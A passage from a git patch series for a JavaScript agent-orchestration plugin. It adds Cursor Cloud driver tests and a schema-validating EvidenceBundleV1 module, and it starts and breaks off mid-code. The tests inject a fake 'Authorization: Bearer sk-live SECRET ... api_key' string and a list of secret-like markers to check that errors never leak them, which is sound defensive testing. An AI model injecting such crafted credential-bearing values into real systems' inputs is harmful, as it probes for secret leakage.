'live_progress'] })); + const second = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(second.evidence_truncated, true); +}); + +const HOSTILE_PROVIDER_TEXT = 'Authorization: Bearer sk-live SECRET prompt=envelope_text api_key=secret'; +const HOSTILE_UNKNOWN_KEY = `hostile_${HOSTILE_PROVIDER_TEXT}`; +const HOSTILE_ERROR_MARKERS = [ + HOSTILE_PROVIDER_TEXT, HOSTILE_UNKNOWN_KEY, 'Bearer', 'sk-live', 'SECRET', + 'envelope_text', 'api_key', LEAK_MARKER, CLOUD_FIXTURE_MODEL, CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_PROVIDER_RUN_ID, CLOUD_FIXTURE_REPO_IDENTITY, +]; + +function assertContentFreeError(error, label) { + const blob = publicErrorBlob(error); + for (const marker of HOSTILE_ERROR_MARKERS) { + assert.equal(blob.includes(marker), false, `${label} leaked ${marker}`); + } +} + +function observeReceipt(request, overrides = {}) { + return { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + events: [], + progress: { status: 'running', event_count: 0, elapsed_ms: 1, cursor: '1' }, + cursor: '1', + elapsed_ms: 1, + event_count: 0, + ...overrides, + }; +} + +function cancelReceipt(request, overrides = {}) { + return { + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +function reattachReceipt(request, overrides = {}) { + return { + reattached: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +test('reconstruction: eight identity-value and unknown-key receipt cases stay content-free', () => { + const cases = [ + { + label: 'preflight-identity', + operation: 'preflight', + code: 'stale_identity_denied', + script: { preflight: [readyPreflightReceipt({ provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'preflight-unknown-key', + operation: 'preflight', + code: 'unknown_key', + script: { preflight: [readyPreflightReceipt({ [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'observe-identity', + operation: 'observe', + code: 'stale_identity_denied', + script: { observe: [(request) => observeReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'observe-unknown-key', + operation: 'observe', + code: 'unknown_key', + script: { observe: [(request) => observeReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'cancel-identity', + operation: 'cancel', + code: 'stale_identity_denied', + script: { cancel: [(request) => cancelReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'cancel-unknown-key', + operation: 'cancel', + code: 'unknown_key', + script: { cancel: [(request) => cancelReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'reattach-identity', + operation: 'reattach', + code: 'stale_identity_denied', + script: { reattach: [(request) => reattachReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + { + label: 'reattach-unknown-key', + operation: 'reattach', + code: 'unknown_key', + script: { reattach: [(request) => reattachReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + ]; + + for (const testCase of cases) { + const transport = createScriptedCursorCloudTransportV1(testCase.script); + const driver = bindCursorCloudDriverV1(transport); + if (testCase.operation !== 'preflight') { + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', testCase.label); + } + const thrown = errorOf(() => testCase.act(driver)); + assert.equal(thrown.code, testCase.code, testCase.label); + assert.equal(thrown.path, `cursor_cloud_transport.${testCase.operation}`, testCase.label); + assert.equal(thrown.name, 'RunContractV1Error', testCase.label); + assertClosedPublicError(thrown); + assertContentFreeError(thrown, testCase.label); + if (testCase.operation === 'preflight') { + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, testCase.label); + } else { + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const evidenceJson = JSON.stringify(evidence); + assert.equal(evidenceJson.includes(HOSTILE_PROVIDER_TEXT), false, testCase.label); + assert.equal(evidenceJson.includes(HOSTILE_UNKNOWN_KEY), false, testCase.label); + assert.equal(evidenceJson.includes('sk-live'), false, testCase.label); + } + } +}); + +test('reconstruction: create and send malformed receipts are content-free dispatch_uncertain', () => { + const createHostile = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const created = createHostile.driver.launch(requestFor('launch')); + assert.equal(created.disposition, 'dispatch_uncertain'); + assert.equal(created.detail_code, undefined); + assert.equal(created.detail_message, undefined); + assert.equal(JSON.stringify(created).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(created).includes('SECRET'), false); + expectCode(() => createHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'send').length, 0); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'create').length, 1); + const createEvidence = inspectCursorCloudLaneEvidenceV1(createHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_UNKNOWN_KEY), false); + + const createUnknown = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: HOSTILE_PROVIDER_TEXT, + })], + }); + const createdUnknown = createUnknown.driver.launch(requestFor('launch')); + assert.equal(createdUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(createdUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + assert.equal(JSON.stringify(createdUnknown).includes('api_key'), false); + expectCode(() => createUnknown.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createUnknown.transport, 'send').length, 0); + + const sendHostile = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const sent = sendHostile.driver.launch(requestFor('launch')); + assert.equal(sent.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sent).includes(HOSTILE_PROVIDER_TEXT), false); + expectCode(() => sendHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(sendHostile.transport, 'send').length, 1); + const sendEvidence = inspectCursorCloudLaneEvidenceV1(sendHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(sendEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + + const sendUnknown = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: true, + })], + }); + const sentUnknown = sendUnknown.driver.launch(requestFor('launch')); + assert.equal(sentUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sentUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + expectCode(() => sendUnknown.driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('reconstruction: caller-request validation is not collapsed to the receipt boundary', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const replay = errorOf(() => driver.launch(requestFor('launch'))); + assert.equal(replay.code, 'replay_denied'); + assert.equal(replay.path, 'driver.launch.request'); + assert.match(replay.message, /never replayed/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index 225d81b..2a44ce0 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -480,6 +480,7 @@ test('terminal reconcile fails closed when Git/branch/base evidence is missing', agent_id: request.agent_id, provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, status: 'completed', })], }); @@ -635,6 +636,7 @@ test('cancel reports a failed archive without claiming the agent was archived', agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), })], }); @@ -654,6 +656,7 @@ test('cancel_requested stays nonterminal so a later cancel may still reach trans agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), }), (request) => ({ @@ -662,6 +665,7 @@ test('cancel_requested stays nonterminal so a later cancel may still reach trans agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), }), ], @@ -718,6 +722,7 @@ test('cancel refuses a different Cloud agent or run identity', () => { agent_id: 'bc-other-agent', provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), })], }); From 3ae392e73b2a66a51cdba52c2645e11324ea9f5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:09:49 +0000 Subject: [PATCH 055/151] feat(evidence): define provider claim and verified fact types Add the closed EvidenceBundleV1 claim and fact records that keep provider-authored assertions distinct from independently verified host facts, with exact identity, injected sequence, digest-bound payloads, and fail-closed hostile-input handling. --- .../mcp/v3/evidence-bundle.mjs | 573 ++++++++++++++++++ .../test/fixtures/r1-evidence-fixtures.mjs | 163 +++++ .../test/r1-evidence-bundle.test.mjs | 234 +++++++ 3 files changed, 970 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs new file mode 100644 index 0000000..bd46631 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -0,0 +1,573 @@ +// EvidenceBundleV1 — closed canonical bounded immutable evidence record +// separating provider-authored claims from independently verified facts +// (ADR 0001 identifiers `bounded_evidence`, `exact_identities`, +// `raw_evidence_owner_only_local`, +// `sanitized_bounded_evidence_model_facing`, +// `provider_commands_evidence_never_auto_executed`, +// `codex_only_final_acceptance`). +// +// Additive v3 module for W12-P13. It owns schema, validation, canonical +// bytes, framed digest, and the closed acceptance rule. It performs no +// Git inspection, filesystem I/O, command execution, network/provider +// calls, or live routing. Facts cannot be synthesized from claims. +// Artifact links are exact P07 ArtifactRefV1 snapshots. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + ARTIFACT_REF_SCHEMA_ID, + compareArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedJoin, + isKnownProvider, + isModelId, + knownProvidersJoined, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertDenseJsonArray, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isCommandId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const EVIDENCE_BUNDLE_SCHEMA_ID = 'codex-co-engineer.evidence-bundle.v1'; +export const EVIDENCE_BUNDLE_VERSION = 1; +export const EVIDENCE_DIGEST_LABEL = IDENTITY_LABELS.EVIDENCE_BUNDLE; +export const DIGEST_ALGORITHM = 'sha256'; +export const EVIDENCE_DIGEST_HEX_LENGTH = 64; + +export const MAX_EVIDENCE_DEPTH = 16; +export const MAX_EVIDENCE_NODES = 1024; +export const MAX_CLAIMS = 32; +export const MAX_FACTS = 64; +export const MAX_DISCREPANCIES = 32; +export const MAX_EVIDENCE_ARTIFACT_REFS = 64; +export const MAX_EVIDENCE_STRING_BYTES = 4096; +export const MAX_BUNDLE_CANONICAL_BYTES = 65_536; +export const MAX_SEQUENCE = 65_535; +export const MAX_ARTIFACT_IDS = 8; +export const MAX_DURATION_MS = 86_400_000; + +export const CLAIM_KINDS = capturedFreeze([ + 'command_reported', 'files_changed', 'head_reached', 'model_used', 'tests_passed', +]); +export const FACT_KINDS = capturedFreeze([ + 'acceptance_results', 'artifact_integrity', 'git_diff', 'git_identity', + 'head_sha', 'model_attested', +]); +export const DISCREPANCY_KINDS = capturedFreeze([ + 'integrity', 'mismatch', 'missing', 'security', 'unverifiable', +]); +export const CLAIM_STATUSES = capturedFreeze(['asserted', 'unsupported']); +export const FACT_STATUSES = capturedFreeze([ + 'failed', 'partial', 'truncated', 'unknown', 'verified', +]); +export const DISCREPANCY_STATUSES = capturedFreeze(['recorded']); +export const FINAL_STATES = capturedFreeze([ + 'accepted', 'failed', 'partial', 'pass', 'unknown', 'verified', +]); +export const ACCEPTED_FINAL_STATES = capturedFreeze(['accepted', 'pass', 'verified']); +export const CLAIM_CODES = capturedFreeze(['provider_reported']); +export const FACT_CODES = capturedFreeze(['host_observed']); +export const DISCREPANCY_CODES = capturedFreeze([ + 'artifact_integrity_failure', 'claim_fact_mismatch', 'missing_fact', + 'security_boundary', 'unverifiable_claim', +]); +export const FACT_AUTHORITIES = capturedFreeze([ + 'independent_provider_query', 'platform_acceptance_runner', 'platform_git', + 'platform_ref_audit', 'platform_scope', +]); +export const FACT_METHODS = capturedFreeze([ + 'ancestry_check', 'approved_command_execution', 'artifact_digest_compare', + 'independent_model_query', 'merge_commit_absence', + 'protected_ref_snapshot_compare', 'read_only_no_changes', 'scope_match', +]); +export const REPORTED_RESULTS = capturedFreeze(['fail', 'not_reported', 'pass']); +export const INTEGRITY_RESULTS = capturedFreeze(['match', 'mismatch']); +export const PROVIDER_DERIVED_ARTIFACT_KINDS = capturedFreeze([ + 'cloud_receipt', 'event_segment', 'provider_report', +]); +export const PROOF_ARTIFACT_KINDS = capturedFreeze([ + 'acceptance_output', 'git_diff', 'ref_snapshot', 'usage_evidence', +]); + +export const BUNDLE_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'candidate', 'sequence', 'recorded_at', + 'final_state', 'claims', 'facts', 'discrepancies', 'artifacts', +]); +export const BUNDLE_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'sequence', 'final_state', 'claims', 'facts', + 'discrepancies', 'artifacts', +]); +export const REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze(['sha']); +export const CLAIM_ALLOWED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'payload', 'payload_digest', + 'artifact_digests', +]); +export const CLAIM_REQUIRED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'payload', 'artifact_digests', +]); +export const FACT_ALLOWED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'authority', 'method', + 'input_digest', 'output_digest', 'exit_code', 'duration_ms', 'truncated', + 'payload', 'payload_digest', 'artifact_digests', +]); +export const FACT_REQUIRED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'authority', 'method', 'input_digest', + 'output_digest', 'exit_code', 'duration_ms', 'truncated', 'payload', + 'artifact_digests', +]); +export const DISCREPANCY_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'recorded_at', 'claim_ids', 'fact_ids', + 'artifact_digests', +]); +export const DISCREPANCY_REQUIRED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'claim_ids', 'fact_ids', 'artifact_digests', +]); + +export const EVIDENCE_ERROR_CODES = capturedFreeze([ + 'conflicting_id', 'duplicate_id', 'duplicate_sequence', 'identity_mismatch', + 'invalid_format', 'invalid_type', 'missing_key', 'out_of_range', + 'payload_digest_mismatch', 'provider_proof_rejected', 'stale_fact', + 'truncated_required_fact', 'unknown_authority', 'unknown_claim_kind', + 'unknown_code', 'unknown_discrepancy_kind', 'unknown_fact_kind', + 'unknown_final_state', 'unknown_method', 'unknown_status', + 'unproven_accepted_state', 'unsupported_pairing', +]); + +const PRIVATE_RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; +const PRIVATE_SUBJECT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,127}$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; + +export const EVIDENCE_RECORD_ID_PATTERN = new RegExp( + PRIVATE_RECORD_ID_PATTERN.source, PRIVATE_RECORD_ID_PATTERN.flags, +); +export const EVIDENCE_SUBJECT_PATTERN = new RegExp( + PRIVATE_SUBJECT_PATTERN.source, PRIVATE_SUBJECT_PATTERN.flags, +); +export const EVIDENCE_TIMESTAMP_PATTERN = new RegExp( + PRIVATE_TIMESTAMP_PATTERN.source, PRIVATE_TIMESTAMP_PATTERN.flags, +); + +const CLAIM_PAYLOAD_KEYS = { + command_reported: capturedFreeze(['command_id', 'result']), + files_changed: capturedFreeze(['path_count']), + head_reached: capturedFreeze(['sha']), + model_used: capturedFreeze(['model']), + tests_passed: capturedFreeze(['result']), +}; +const FACT_PAYLOAD_KEYS = { + acceptance_results: capturedFreeze(['command_id', 'result']), + artifact_integrity: capturedFreeze(['artifact_sha256', 'result']), + git_diff: capturedFreeze(['path_count', 'path_set_digest']), + git_identity: capturedFreeze(['base_sha', 'head_sha']), + head_sha: capturedFreeze(['sha']), + model_attested: capturedFreeze(['model']), +}; +const KIND_CODES = { + integrity: 'artifact_integrity_failure', + mismatch: 'claim_fact_mismatch', + missing: 'missing_fact', + security: 'security_boundary', + unverifiable: 'unverifiable_claim', +}; +const CLAIM_FACT_MAP = { + command_reported: capturedFreeze(['acceptance_results']), + files_changed: capturedFreeze(['git_diff']), + head_reached: capturedFreeze(['git_identity', 'head_sha']), + model_used: capturedFreeze(['model_attested']), + tests_passed: capturedFreeze(['acceptance_results']), +}; + +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REFLECT_APPLY = Reflect.apply; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function testPattern(pattern, value) { + return REFLECT_APPLY(REGEXP_TEST, pattern, [value]) === true; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +function assertEnum(value, allowed, code, path, label) { + if (!capturedIncludes(allowed, value)) enumError(code, path, label, allowed); + return value; +} + +function assertSha256(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SHA256_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be an exact ${EVIDENCE_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + return value; +} + +function assertRecordId(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_RECORD_ID_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the evidence record-id grammar.`); + } + return value; +} + +function assertSubject(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SUBJECT_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the closed subject grammar.`); + } + return value; +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE) { + fail('out_of_range', path, `${path} must be an injected sequence in 0..${MAX_SEQUENCE}.`); + } + return value; +} + +function assertTimestamp(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_TIMESTAMP_PATTERN, value)) { + fail('invalid_format', path, `${path} must be an exact UTC timestamp YYYY-MM-DDTHH:MM:SSZ.`); + } + return value; +} + +function assertSafeInt(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer.`); + } + if (value < min || value > max) { + fail('out_of_range', path, `${path} is outside ${min}..${max}.`); + } + return value; +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${EVIDENCE_BUNDLE_SCHEMA_ID}); evidence records have no hidden defaults.`); + } + } +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!Object.hasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function payloadDigestOf(payload) { + const canonical = canonicalJsonStringify(payload); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function bindPayloadDigest(input, payload, path) { + const digest = payloadDigestOf(payload); + if (hasOwn(input, 'payload_digest')) { + const provided = optOwn(input, 'payload_digest'); + assertSha256(provided, `${path}.payload_digest`); + if (provided !== digest) { + fail('payload_digest_mismatch', `${path}.payload_digest`, + `${path}.payload_digest does not match the canonical payload digest.`); + } + } + return digest; +} + +function parseArtifactDigestList(input, path) { + const value = optOwn(input, 'artifact_digests'); + assertNotProxy(value, `${path}.artifact_digests`); + assertDenseJsonArray(value, `${path}.artifact_digests`); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', `${path}.artifact_digests`, + `${path}.artifact_digests exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}.artifact_digests[${index}]`; + const digest = optOwn(value, STRING(index)); + assertSha256(digest, entryPath); + if (seen.has(digest)) { + fail('duplicate_id', entryPath, `${entryPath} repeats an artifact digest.`); + } + seen.add(digest); + snapshots.push(digest); + } + return capturedFreeze(snapshots); +} + +function parseClosedPayload(input, path, kind, table) { + const payload = optOwn(input, 'payload'); + const keys = table[kind]; + assertPlainObject(payload, 'invalid_type', `${path}.payload`, `${path}.payload`); + assertDirectJsonClosure(payload, `${path}.payload`); + assertAllowedKeys(payload, keys, `${path}.payload`); + requiredKeys(payload, keys, `${path}.payload`); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = optOwn(payload, key); + } + if (hasOwn(values, 'model') && !isModelId(values.model)) { + fail('invalid_format', `${path}.payload.model`, + `${path}.payload.model violates the accepted model-id grammar.`); + } + if (hasOwn(values, 'command_id') && !isCommandId(values.command_id)) { + fail('invalid_format', `${path}.payload.command_id`, + `${path}.payload.command_id violates the accepted command-id grammar.`); + } + if (hasOwn(values, 'sha') && !isSha40(values.sha)) { + fail('invalid_format', `${path}.payload.sha`, + `${path}.payload.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'base_sha')) assertBaseSha(values.base_sha, `${path}.payload.base_sha`); + if (hasOwn(values, 'head_sha') && !isSha40(values.head_sha)) { + fail('invalid_format', `${path}.payload.head_sha`, + `${path}.payload.head_sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'result')) { + const allowed = kind === 'artifact_integrity' ? INTEGRITY_RESULTS : REPORTED_RESULTS; + assertEnum(values.result, allowed, 'unknown_status', `${path}.payload.result`, 'result'); + } + if (hasOwn(values, 'path_count')) { + values.path_count = assertSafeInt(values.path_count, `${path}.payload.path_count`, 0, 65_536); + } + if (hasOwn(values, 'path_set_digest')) { + assertSha256(values.path_set_digest, `${path}.payload.path_set_digest`); + } + if (hasOwn(values, 'artifact_sha256')) { + assertSha256(values.artifact_sha256, `${path}.payload.artifact_sha256`); + } + return freezeRecord(keys, values); +} + +function parseOptionalTimestamp(input, path) { + if (!hasOwn(input, 'recorded_at')) return undefined; + return assertTimestamp(optOwn(input, 'recorded_at'), `${path}.recorded_at`); +} + +function parseIdentityPair(input, path) { + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + return { run_id: runId, assignment_id: assignmentId }; +} + +function parseIdList(input, key, path) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', field, `${field} exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + const id = optOwn(value, STRING(index)); + assertRecordId(id, entryPath); + if (seen.has(id)) fail('duplicate_id', entryPath, `${entryPath} repeats an identity.`); + seen.add(id); + snapshots.push(id); + } + return capturedFreeze(snapshots); +} + +function compatibleAuthority(factKind, authority, method) { + if (factKind === 'model_attested') { + return authority === 'independent_provider_query' && method === 'independent_model_query'; + } + if (factKind === 'acceptance_results') { + return authority === 'platform_acceptance_runner' && method === 'approved_command_execution'; + } + if (factKind === 'artifact_integrity') { + return (authority === 'platform_ref_audit' || authority === 'platform_git') + && method === 'artifact_digest_compare'; + } + if (factKind === 'git_diff' || factKind === 'git_identity' || factKind === 'head_sha') { + return authority === 'platform_git' + && (method === 'ancestry_check' || method === 'merge_commit_absence' + || method === 'scope_match' || method === 'read_only_no_changes' + || method === 'protected_ref_snapshot_compare' || method === 'artifact_digest_compare'); + } + return false; +} + +export function parseProviderClaimV1(input, path = 'claim') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, CLAIM_ALLOWED_KEYS, path); + requiredKeys(input, CLAIM_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const claimKind = assertEnum( + optOwn(input, 'claim_kind'), CLAIM_KINDS, 'unknown_claim_kind', `${path}.claim_kind`, 'claim kind', + ); + const status = assertEnum( + optOwn(input, 'status'), CLAIM_STATUSES, 'unknown_status', `${path}.status`, 'claim status', + ); + const code = assertEnum( + optOwn(input, 'code'), CLAIM_CODES, 'unknown_code', `${path}.code`, 'claim code', + ); + const payload = parseClosedPayload(input, path, claimKind, CLAIM_PAYLOAD_KEYS); + const values = { + claim_id: assertRecordId(optOwn(input, 'claim_id'), `${path}.claim_id`), + claim_kind: claimKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(CLAIM_ALLOWED_KEYS, values); +} + +export function parseVerifiedFactV1(input, path = 'fact') { + 